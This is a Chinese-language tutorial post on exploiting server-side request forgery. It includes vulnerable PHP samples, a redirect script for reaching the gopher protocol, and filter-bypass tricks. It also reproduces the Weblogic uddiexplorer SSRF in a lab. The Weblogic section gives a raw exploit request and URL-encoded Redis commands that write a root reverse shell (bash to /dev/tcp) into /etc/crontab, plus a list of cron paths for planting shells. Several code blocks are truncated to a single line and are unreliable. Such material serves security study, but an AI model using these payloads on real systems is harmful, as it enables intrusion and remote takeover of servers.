SSRF漏洞的利用与学习
漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
漏洞利用
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的绕过方式。
本地利用
拿常用的cURL举例,cURL默认支持的协议非常多。
1 | $ curl -V |
本地利用姿势
1 | # dict protocol (操作Redis) |
远程利用
漏洞代码ssrf.php(未做任何SSRF防御)
1 | function curl($url){ |
远程利用方式
1 | # 利用file协议任意文件读取 |
漏洞代码ssrf2.php
- 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
1 | <?php |
远程利用方式
当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL
那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。
我们继续构造一个302跳转服务,代码如下302.php:1
2
3
4
5
6
7
8
9
10<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
利用测试
1 | # dict protocol - 探测Redis |
绕过姿势
1)http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
此脚本访问请求得到的内容都是10.10.10.10的内容。
该绕过同样在URL跳转绕过中适用。
http://www.wooyun.org/bugs/wooyun-2015-091690
2)ip地址转换成进制来访问
115.239.210.26 = 16373751032
3)添加端口可能绕过匹配正则
10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850
4)用短地址(302跳转)绕过,案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257
5)利用xip.io和xip.name
1 | 10.0.0.1.xip.io 10.0.0.1 |
6)利用Enclosed alphanumerics
1 | 利用Enclosed alphanumerics |
7) 利用句号
1 | 127。0。0。1 >>> 127.0.0.1 |
Weblogic SSRF漏洞复现
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞分析
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp页面的数据包中的operator参数,这个参数可以发送任意的HTTP请求
利用姿势
探查服务端口
在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:70011
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: http://127.0.0.1:7001
Content-Length: 133
Cache-Control: max-age=0
Origin: http://127.0.0.1:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://115.159.4.50:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Language: zh-CN,zh;q=0.8
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=CZBhZtjHKR2mvqmnyBbVchhHvJ1KJ48lq4rq84pZnpFL2hkXrnhc!1235713544
Connection: close
operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=1&txtSearchkey=1&txtSearchfor=1&selfor=Business+location&btnSubmit=Search
返回以下信息,说明存在7001端口的服务器
访问一个不存在的IP,返回以下信息,返回 but could not connect over HTTP to server
访问一个非HTTP(dict)协议,返回以下信息,返回unknown protocol: dict
注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通
返回
which did not have a valid SOAP content-type: null
说明存在redis服务
发送三条redis命令,将弹shell脚本写入/etc/crontab:
1 | set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" |
进行url编码:1
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹shell
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
Reference
SSRF in PHP
SSRF to GET SHELL
利用 gopher 协议拓展攻击面
vulhub/weblogic/ssrf
腾讯某处SSRF漏洞(非常好的利用点)附利用脚本